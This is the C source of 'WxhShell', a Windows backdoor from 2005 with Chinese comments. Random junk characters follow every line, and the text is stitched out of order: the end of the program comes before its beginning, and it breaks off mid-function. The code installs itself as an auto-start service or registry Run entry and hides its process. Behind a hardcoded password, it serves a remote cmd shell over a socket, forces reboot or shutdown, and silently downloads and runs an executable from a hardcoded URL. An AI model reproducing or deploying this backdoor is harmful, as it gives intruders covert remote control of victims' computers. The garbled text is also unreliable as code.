    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1m`tqlFU9  
    if(Boot(SHUTDOWN)) 7~ese+\smG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRW.NL o  
    else { S@xsAib0J  
    closesocket(wsh); z|]oM#Gt  
    ExitThread(0); !mxh]x<e  
    } o9LD6$  
    break; 1O2h9I$bk  
    } F|Dz]ar  
  // 获取shell ]jVSsSv  
  case 's': { bp>ps@zFq  
    CmdShell(wsh); ; G59}d p~  
    closesocket(wsh); tOM3Gs~o6z  
    ExitThread(0); 4@]xn  
    break; #* gU[9U~  
  } _'hCUXeY'  
  // 退出 ab aQJ|  
  case 'x': { DV[ Jbl:)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @`;Y/',  
    CloseIt(wsh); W B*`zCM  
    break; 5Ue^>8-  
    } v^],loi<V  
  // 离开 <`xRqe:&9  
  case 'q': { Cre0e$ a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mU+FQX  
    closesocket(wsh); oiv2rOFu  
    WSACleanup(); 8<-oJs_o+  
    exit(1); {?f^  
    break; 6l\UNG7  
        } ?gR\A8:8  
  } nG ^M 2)(8  
  } 2b4pOM7W  
wEfz2Eq  
  // 提示信息 C*s0r;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rF'^w56  
} R'9@A\7#  
  } %V%#y $l  
JQ@`EV9,  
  return; 9<A\npD  
} v!#`W  
B!r48<p  
// shell模块句柄 pl#o!j(i  
int CmdShell(SOCKET sock) ^wO_b'@v  
{ PF'5z#] NP  
STARTUPINFO si; 1&% d  
ZeroMemory(&si,sizeof(si)); Y!a+#N!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eY 4`k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SfZ=%6b7  
PROCESS_INFORMATION ProcessInfo; !HR2Rfl  
char cmdline[]="cmd"; lNaez3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ie2w0Cs28  
  return 0; Xrj(,|  
} kg?T$}O  
11B{gUv.]  
// 自身启动模式 Y-%l7GErhL  
int StartFromService(void) A)RI:?+  
{ 6t_ 3%{  
typedef struct DYAwQ"i;6  
{ uq|vNLW26  
  DWORD ExitStatus; Lov.E3S6;  
  DWORD PebBaseAddress; 3%[)!zKv  
  DWORD AffinityMask; P )t]bS  
  DWORD BasePriority; $&=4.7Yt  
  ULONG UniqueProcessId; z^P* :  
  ULONG InheritedFromUniqueProcessId; tIxhSI^  
}   PROCESS_BASIC_INFORMATION;  \Z\IK  
npO@Haw  
PROCNTQSIP NtQueryInformationProcess; 8g[ (nxI~  
Ho)t=qn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &N/|(<CB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qD(fYOX{C  
Ko$ $dkSE  
  HANDLE             hProcess; *h*j%  
  PROCESS_BASIC_INFORMATION pbi; &h7smZO5j  
_@#uIOcE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;/?Z<[B  
  if(NULL == hInst ) return 0; >}<29Ii  
|t&G&)~:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0NCOz(L/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bl" (<TM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9<t9a f\.>  
J|gdO+  
  if (!NtQueryInformationProcess) return 0; Ei{(  
a%Z4_ToLZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IS,zy+w  
  if(!hProcess) return 0; M.xhVgFf)  
Hi; K"H]x1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OX)#F'Sl}  
N+\oFbE  
  CloseHandle(hProcess); `7QvwXsH]  
u8-a-k5<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MtpU~c  
if(hProcess==NULL) return 0; MiSja#"+A  
"ibK1}-  
HMODULE hMod; [Krm .)  
char procName[255]; 6[+\CS7Lt  
unsigned long cbNeeded; U{T[*s  
>W`S(a Mn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6CcB-@n4  
WZ^{zFoZ  
  CloseHandle(hProcess); Y|%anTP  
$i,6B9  
if(strstr(procName,"services")) return 1; // 以服务启动 DO7- =74=  
/*u#Ba<<  
  return 0; // 注册表启动 J6)efX)j-p  
} 8%;}LK  
<Jwi ~I=^  
// 主模块 z>cIiprX  
int StartWxhshell(LPSTR lpCmdLine) F^.om2V|9  
{ K-2.E  
  SOCKET wsl; BW'L.*2  
BOOL val=TRUE; wXr>p)mP  
  int port=0; aL8p"iSG9  
  struct sockaddr_in door; zyaW3th  
c=b+g+*xd  
  if(wscfg.ws_autoins) Install(); Y brx%  
:dc"b?Ch  
port=atoi(lpCmdLine); c@RT$Q9j  
opm?':Qst  
if(port<=0) port=wscfg.ws_port; p+orBw3  
9U#\nXM  
  WSADATA data; Z{Vxr*9oO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  FovE$Dj]  
OZ(Dpx(Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /C*~/}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B3y?.  
  door.sin_family = AF_INET; %*$5!;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wyy^gJl  
  door.sin_port = htons(port); wVx,JL5Jr  
=LlLE<X"%x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FWuw/b$  
closesocket(wsl); H"#)&a7  
return 1; i/NDWVFD  
} S:/{  
#,@bxsB  
  if(listen(wsl,2) == INVALID_SOCKET) { tl DY k  
closesocket(wsl); 6yE'/VB<  
return 1; ;$vLq&(}  
} }czsa_  
  Wxhshell(wsl); xU@1!%l@  
  WSACleanup(); _,DO~L  
gzVtxDh  
return 0; S4L-/<s[*  
DW1@<X  
} <(fdHQD!7>  
ki\B!<uv  
// 以NT服务方式启动 TG1P=g5h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ba/RO36&c  
{ 6X dWm  
DWORD   status = 0; MMMqG`Px  
  DWORD   specificError = 0xfffffff; 8V6=i'GK  
*%:@ cbF-M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &svx@wW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^`tk/#h\9F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >eQbipn  
  serviceStatus.dwWin32ExitCode     = 0; *3;UAfHv  
  serviceStatus.dwServiceSpecificExitCode = 0; I`22Zwq:  
  serviceStatus.dwCheckPoint       = 0; T36x=LX  
  serviceStatus.dwWaitHint       = 0; 8QT<M]N%  
St6aYK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q<n[.u1@  
  if (hServiceStatusHandle==0) return; ;xfO16fNk  
3FFaEl  
status = GetLastError(); 92ZWU2"  
  if (status!=NO_ERROR) Ffnk1/ Zy  
{ Y!Drb-U?;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o*X]b]  
    serviceStatus.dwCheckPoint       = 0; $50\" mo~z  
    serviceStatus.dwWaitHint       = 0; +fM&su=wl  
    serviceStatus.dwWin32ExitCode     = status; S"zk!2@C  
    serviceStatus.dwServiceSpecificExitCode = specificError; x5oOF7#5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E(_ KN[}S  
    return; ,"B?_d6  
  } (4~X}:  
Mal<iNN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ba8 6 N  
  serviceStatus.dwCheckPoint       = 0; /-Wuq`P/ T  
  serviceStatus.dwWaitHint       = 0; "l TZ|k^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'qjX$]H  
} 'fIHUw|  
rOW;yJ[  
// 处理NT服务事件,比如:启动、停止 )u0O_R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {&-#s#&  
{ Rv,82iEKs  
switch(fdwControl) qYK4)JP  
{ @M=$qO_$9  
case SERVICE_CONTROL_STOP: !x7o|l|cP  
  serviceStatus.dwWin32ExitCode = 0; (VyA6a8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T '.[F  
  serviceStatus.dwCheckPoint   = 0; rIVvO  
  serviceStatus.dwWaitHint     = 0; )Ob]T{GY  
  { 3E,DipHg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FqwIJ|ct  
  } \ZMP_UU(  
  return; wFvT0  
case SERVICE_CONTROL_PAUSE: Cc!J1)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s O=4IBE  
  break; HMV)U{  
case SERVICE_CONTROL_CONTINUE: 4@6 <  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W .U+.hR  
  break; T^]7R4 Fg  
case SERVICE_CONTROL_INTERROGATE: /YFa ;2 W  
  break; m2(E>raV6  
}; T6uMFD4 |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !{(ls<  
} ^LVk5l)\>g  
Umz05*  
// 标准应用程序主函数 y@3Q;~l,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ePEe?o4;  
{ :m K xa  
Me,<\rQ  
// 获取操作系统版本 !MoOKW  
OsIsNt=GetOsVer(); - IU4#s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s)k y/ce  
)t%h[0{{  
  // 从命令行安装 RDJ+QOVKg  
  if(strpbrk(lpCmdLine,"iI")) Install(); oxfF`L"  
:H?f*aw  
  // 下载执行文件 \lEkfcc  
if(wscfg.ws_downexe) { zb:kanb-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =We2^W-{  
  WinExec(wscfg.ws_filenam,SW_HIDE); hm\\'_u  
} u]E.iXp  
t`YWwI.  
if(!OsIsNt) { =u=Kw R  
// 如果时win9x,隐藏进程并且设置为注册表启动 qnJ50 VVW  
HideProc(); Uyk,.*8"  
StartWxhshell(lpCmdLine); BSgTde|3y  
} =((yWn+t  
else OPuj|%Wgw  
  if(StartFromService()) OxQYNi2  
  // 以服务方式启动 6\n?4 8x}  
  StartServiceCtrlDispatcher(DispatchTable); zTY;8r+  
else mj2Pk,,SA  
  // 普通方式启动 Nqc p1J"  
  StartWxhshell(lpCmdLine); z)}!e,7  
9i=B  
return 0; ? %(spV  
} }G'XkoI&  
ubbnFE&PD  
G;s"h%Xw98  
NiA4JgM]v  
=========================================== :, _!pe;H  
TQc@lR!  
xS8,W  
_TUm$#@Y`  
sbnjy"Z%  
6G of. :"f  
" ".P){Dep$4  
~.oj.[ }  
#include <stdio.h> q]FBl}nwl%  
#include <string.h> 9S>g6}[E#0  
#include <windows.h> .z-UOyer  
#include <winsock2.h> UpfZi9v?W  
#include <winsvc.h> g_aCHEFBv  
#include <urlmon.h> W5SNI>|E  
vHcqEV|P/n  
#pragma comment (lib, "Ws2_32.lib") `PlOwj@u0`  
#pragma comment (lib, "urlmon.lib") {^mKvc  
S6sq#kcH  
#define MAX_USER   100 // 最大客户端连接数 >o/95xk2  
#define BUF_SOCK   200 // sock buffer e |V]  
#define KEY_BUFF   255 // 输入 buffer %tmp  
(3;@^S4&w  
#define REBOOT     0   // 重启 zzIr2so  
#define SHUTDOWN   1   // 关机 e2w&&B-  
EzpFOqJG  
#define DEF_PORT   5000 // 监听端口 5=L} \ankn  
-RMi8{  
#define REG_LEN     16   // 注册表键长度 Ef@,hX  
#define SVC_LEN     80   // NT服务名长度 q \O Ou  
`1+F,&e  
// 从dll定义API _<*Hv*Zm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )`+YCCa6F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pe.QiMW{8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` A)"%~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h<x4YB5Mj  
wC CV2tk  
// wxhshell配置信息 u0 y 1  
struct WSCFG { =\3Tv  
  int ws_port;         // 监听端口 mL yBm  
  char ws_passstr[REG_LEN]; // 口令 i9A~<  
  int ws_autoins;       // 安装标记, 1=yes 0=no [4Q"#[V&9  
  char ws_regname[REG_LEN]; // 注册表键名 :O-1rD  
  char ws_svcname[REG_LEN]; // 服务名 +L%IG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ub K7B |p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rv7{Ow_Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z|N3G E(.@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rHz||jjU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M 2q"dz   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %,UPJn  
BRv x[u  
}; T .n4TmF  
1^G{tlA-  
// default Wxhshell configuration ynwG\V  
struct WSCFG wscfg={DEF_PORT, rs;r $  
    "xuhuanlingzhe",  P_Hv%g  
    1, #hw>tA6  
    "Wxhshell", d~9!,6XM  
    "Wxhshell", 0 n vSvk  
            "WxhShell Service", 1G^#q,%X_v  
    "Wrsky Windows CmdShell Service", GJA`l8`SQ  
    "Please Input Your Password: ", ae+*=,  
  1, yj_4gxJ\  
  "http://www.wrsky.com/wxhshell.exe", w_wslN,)  
  "Wxhshell.exe" iG<Som  
    }; l"+J c1\X  
W+=o&V  
// 消息定义模块 *d*,Hqn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hdma=KqZ(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <q2?S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (k?7:h  
char *msg_ws_ext="\n\rExit."; oBQm05x"  
char *msg_ws_end="\n\rQuit."; ZH 6\><My  
char *msg_ws_boot="\n\rReboot..."; l.+yn91%>  
char *msg_ws_poff="\n\rShutdown..."; 3V<&|  
char *msg_ws_down="\n\rSave to "; DN] v_u+}  
)> a B  
char *msg_ws_err="\n\rErr!"; 5&!c7$K0  
char *msg_ws_ok="\n\rOK!"; {XCf-{a]~  
gm)@c2?.  
char ExeFile[MAX_PATH]; G }nO@  
int nUser = 0; t18$x "\4k  
HANDLE handles[MAX_USER]; `3_lI~=eH  
int OsIsNt; CH#k(sy  
f 2YLk  
SERVICE_STATUS       serviceStatus; ;2xO`[#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c1XX~8  
f!_ ctp  
// 函数声明 SU.ythU2,c  
int Install(void); 7^6uG6  
int Uninstall(void); K9Hqq7"%  
int DownloadFile(char *sURL, SOCKET wsh); /j2H A^GT  
int Boot(int flag); X[yNFW}S2W  
void HideProc(void); na+d;h*~y  
int GetOsVer(void); 9i q""  
int Wxhshell(SOCKET wsl); #]Y>KX2HG  
void TalkWithClient(void *cs); mN_Z7n;^eh  
int CmdShell(SOCKET sock); /RnTQ4   
int StartFromService(void); #FxPj-3(ix  
int StartWxhshell(LPSTR lpCmdLine); jM)C4ii.-$  
TFQ!7'xk)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /8'S1!zc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iEyeX0nm  
cC{"<fYF  
// 数据结构和表定义 0%`4px4J  
SERVICE_TABLE_ENTRY DispatchTable[] = :mcYZPX#  
{ zbkMFD.{y  
{wscfg.ws_svcname, NTServiceMain}, )?! [}t  
{NULL, NULL} C~% 1w%nn  
}; s#9Ui#[=h  
SGL|Ck  
// 自我安装 [{u(C!7L`  
int Install(void) hsRvr`#m|  
{ LPd\-S_rsP  
  char svExeFile[MAX_PATH]; Ol_q{^  
  HKEY key; #dxgB:l)%l  
  strcpy(svExeFile,ExeFile); JYb}Zw;  
2/ rt@{V(  
// 如果是win9x系统,修改注册表设为自启动 ~wm;;#_O  
if(!OsIsNt) { ~nLN`H d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bC!`@/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OX]V) QHVZ  
  RegCloseKey(key); cZ8.TsI~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zmuMWT;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &DG->$&|  
  RegCloseKey(key); FDzqL;I  
  return 0; O*6n$dUj3  
    } 1 T<+d5[C  
  } DL^o_61  
} _f0C Y"  
else { HeGY u?&  
m7c*)"^  
// 如果是NT以上系统,安装为系统服务 QF2q^[>w6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CT a#Q,  
if (schSCManager!=0) .wA+S8}S  
{ E>LkJSy=  
  SC_HANDLE schService = CreateService 5Z/7kU= I  
  ( T4/fdORS  
  schSCManager, w'4AJ Q|;  
  wscfg.ws_svcname, :nN1e  
  wscfg.ws_svcdisp, W*DVi_\$y  
  SERVICE_ALL_ACCESS, =<@2#E)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ! |waK~jK  
  SERVICE_AUTO_START, $lA V6I.  
  SERVICE_ERROR_NORMAL, rf:XRJ <4  
  svExeFile, VXBY8;+Yp  
  NULL, pO  Iq%0]  
  NULL, eDI= nSo  
  NULL, 8LkP)]4^sO  
  NULL, IA zZ1#/3  
  NULL +gd2|`#  
  ); ^>x|z.  
  if (schService!=0) qVqRf.-\  
  { u|#>32kV  
  CloseServiceHandle(schService); 4LcX<B U9  
  CloseServiceHandle(schSCManager); RprKm'b8x`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /'2O.d0}.  
  strcat(svExeFile,wscfg.ws_svcname); ) /vhclkb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8F(h*e_?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C;+(Zp  
  RegCloseKey(key); uP3_FX: e  
  return 0; ^)!F9h+  
    } \`<cH#  
  } .{KjEg 6  
  CloseServiceHandle(schSCManager); `?g`bN`Vn  
} #t8{R~y"gv  
} n%^ LPD  
Gc]~w D$  
return 1; wm{3&m  
} mbRq JT>@  
gF=jf2{YX  
// 自我卸载 J&/lx${  
int Uninstall(void) JG[o"&Sd  
{ +6$g! S5{  
  HKEY key; 8(g:HR*;  
b+-f.!j  
if(!OsIsNt) { XKA&XpF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 54;J8XT7  
  RegDeleteValue(key,wscfg.ws_regname); WL,&-*JAW  
  RegCloseKey(key); rB~W Iu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j:T/iH!YF  
  RegDeleteValue(key,wscfg.ws_regname); []R? ViG  
  RegCloseKey(key); o; a:Dd  
  return 0; 6Tw#^;q-  
  } GPhl4#'  
} X=JmF97  
} GDhE[of  
else { 4D%9Rc0 G  
'3]p29v{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g[ 0<m#"  
if (schSCManager!=0) <$w?/y/'  
{ OJN2z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r)9Dy,  
  if (schService!=0) unJid8Lo  
  { "vYE+   
  if(DeleteService(schService)!=0) { @l1  
  CloseServiceHandle(schService); +x? #DH-  
  CloseServiceHandle(schSCManager); $8USyGi3J  
  return 0; aV o;~h~  
  } *%w6 9#D  
  CloseServiceHandle(schService); Ut-B^x)gl  
  } {qW~"z*  
  CloseServiceHandle(schSCManager); ,:fl?x.X  
} $&s=68  
} Om'+]BBN  
`~eX55W  
return 1; b `2|I {  
} ;4M><OS!  
a07@C  
// 从指定url下载文件 tkQH\5  
int DownloadFile(char *sURL, SOCKET wsh) =~Ynz7 /x  
{ )#a[-.OI  
  HRESULT hr; JXG"M#{  
char seps[]= "/"; &zQ2M#{82  
char *token; <Llp\XcZ  
char *file; n,eJ$2!J  
char myURL[MAX_PATH]; YSJy`  
char myFILE[MAX_PATH]; F/m^?{==~*  
-LDCBc"  
strcpy(myURL,sURL); *#%9Rp2|  
  token=strtok(myURL,seps); x\&`>>uA  
  while(token!=NULL) d_n7k g+  
  {  ;N B:e  
    file=token; <2!v(EkI  
  token=strtok(NULL,seps); >{eCh$L  
  } ~^u16z,  
] sz3]"2  
GetCurrentDirectory(MAX_PATH,myFILE); l$K,#P<)  
strcat(myFILE, "\\"); AM"Nn L"  
strcat(myFILE, file); 4!asT;`'  
  send(wsh,myFILE,strlen(myFILE),0); Q6o(']0  
send(wsh,"...",3,0); R1F5-#?'E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {7!UQrm<  
  if(hr==S_OK) `r5 $LaD  
return 0; T5Q{{@Q  
else 'Y$R~e^Y?  
return 1; `c/*H29  
48|s$K^  
} O\K_q7iO6  
;!o]wHmA  
// 系统电源模块 *5zrZ]^  
int Boot(int flag) e *(b  
{ Tu{h<Zy  
  HANDLE hToken; )!g{Sbl  
  TOKEN_PRIVILEGES tkp; EF pIp4_Y  
#-3=o6DCK  
  if(OsIsNt) { K.G$]H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =. y*_Ja  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HL/bS/KX  
    tkp.PrivilegeCount = 1; uE[(cko  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OmM=o*d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LG~S8u  
if(flag==REBOOT) { JKer//ng4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !R*-R.%  
  return 0; f<+ 4rHT  
} bX.ja;;   
else { @i^~0A#q*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p^(&qk?ut  
  return 0; ut >4U'.H  
} v7%X@j]ji  
  } ]zO/A4  
  else { yNm:[bOER  
if(flag==REBOOT) { Z5c~^jL$-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /h v4x9  
  return 0; k3+e;[My+  
} Rwr 2gMt7  
else { tb :L\A^:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %Pksv}  
  return 0; l5+gsEux]  
} izKfU?2]X@  
} t_ksvWUo  
_k^0m  
return 1; Q]rD}Ckv-  
} b 1&i#I?{  
K^_i%~  
// win9x进程隐藏模块 Z%GTnG|rG  
void HideProc(void) -XRn~=5   
{ Y(\T- bI  
)BfT7{WN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qQ!1t>j+H  
  if ( hKernel != NULL ) Soie^$ Y  
  { {0! ~C=P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bYz&P`o}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =A Vg Iv  
    FreeLibrary(hKernel); ~&\ f|%  
  } a[lY S{  
R<i38/ ~G  
return; '0$?h9"  
} &V>fYgui  
yr#5k`&\_  
// 获取操作系统版本 "EU{8b  
int GetOsVer(void) G/%iu;7ZCb  
{ .I}:m%zv  
  OSVERSIONINFO winfo; JbB}y'c4}=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9WJz~SP+vR  
  GetVersionEx(&winfo); E~<`/s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IrMl:+t\  
  return 1; RE.r4uOJg  
  else uxg9yp@|  
  return 0; X0 -IRJ[  
} v(OBXa9  
\c[IbL07  
// 客户端句柄模块 Mg#j3W}]  
int Wxhshell(SOCKET wsl) aA-  
{ #_mi `7!B#  
  SOCKET wsh; DF6c|  
  struct sockaddr_in client; %gnM( pxl  
  DWORD myID; gX{loG  
TpA\9N#$  
  while(nUser<MAX_USER) T0)"1D<l  
{ _Lw OOZj  
  int nSize=sizeof(client); vIvVq:6_3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EQqx+J&!  
  if(wsh==INVALID_SOCKET) return 1; >;z<j$;F<  
iCP/P%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CE15pNss  
if(handles[nUser]==0) +i\&6HGK;-  
  closesocket(wsh); Sx    
else #d{=\$=  
  nUser++; G8W#<1LE  
  } RtG}h[k/X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^I KO2Ft  
`IYuz:  
  return 0;  p0.|<  
} M4ozTp<$O  
K/ &?VIi`z  
// 关闭 socket fjnTe  
void CloseIt(SOCKET wsh)  `[zQf  
{ XPB9~::  
closesocket(wsh); =66Nw(E.  
nUser--; E&Qi@Ty  
ExitThread(0); pj?XLiM54%  
} 0?WcoPU  
bslrqUk_`=  
// 客户端请求句柄 Y2o6kS{x  
void TalkWithClient(void *cs) /ug8]Lo0  
{ "uLjIIl  
+!f=jg06  
  SOCKET wsh=(SOCKET)cs; ( 6(x'ByT  
  char pwd[SVC_LEN]; B= keBO](@  
  char cmd[KEY_BUFF]; %LXM+<N8  
char chr[1]; "o& E2#  
int i,j; 5 ,0d  
 s95vK7I  
  while (nUser < MAX_USER) { {b]aC  
>pkT1Z&'  
if(wscfg.ws_passstr) { _md=Q$9!m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UN"(5a8.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s<x1>Q7X~  
  //ZeroMemory(pwd,KEY_BUFF); nS()u}c;r  
      i=0; QrApxiw  
  while(i<SVC_LEN) { zF4[}*  
,fEO> i  
  // 设置超时 Z -%(~  
  fd_set FdRead; wOB azWa   
  struct timeval TimeOut; LtT\z<bAI  
  FD_ZERO(&FdRead); C1T_9}L-A  
  FD_SET(wsh,&FdRead); E^w:KC2@  
  TimeOut.tv_sec=8; ZxGP/D  
  TimeOut.tv_usec=0; = sAn,ri  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uH3D{4   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D+lzFn$3  
lq.Te,Y%w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @eqeN9e  
  pwd=chr[0]; X\p,%hk \  
  if(chr[0]==0xd || chr[0]==0xa) { ~-a'v!  
  pwd=0; ]0D}T'wM  
  break; ThW,Y" l  
  } @1zQce>  
  i++; K}[>T(0E  
    } cYNJhGY  
,? E&V_5  
  // 如果是非法用户,关闭 socket 9>/wUQs!]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iE0ab,OF  
} \3Oij^l 0  
Gf8s?l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -{h   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WS& kx~oQ  
TJ?g%  
while(1) { =Nz0.:  
,n2i@?NHZ  
  ZeroMemory(cmd,KEY_BUFF); -#-p1^v}  
4 !`bZ`_Bw  
      // 自动支持客户端 telnet标准   \EbbkN:D  
  j=0; Hy{ Q#fq  
  while(j<KEY_BUFF) { $]aBe !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z?MoJ{.!?R  
  cmd[j]=chr[0]; 3#wcKv%>&_  
  if(chr[0]==0xa || chr[0]==0xd) { 5CAR{|a  
  cmd[j]=0; gPS&^EdxA  
  break; M8w5Ob  
  } }~Q"s2  
  j++; h72UwJ2rw  
    } 4VN aq<8  
Z?i /r5F  
  // 下载文件 *cWmS\h|  
  if(strstr(cmd,"http://")) { `Lyq[zg8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KsAH]2Q%  
  if(DownloadFile(cmd,wsh)) F=G{)*Ih  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j:5%ppIY  
  else ,1Qd\8N9  
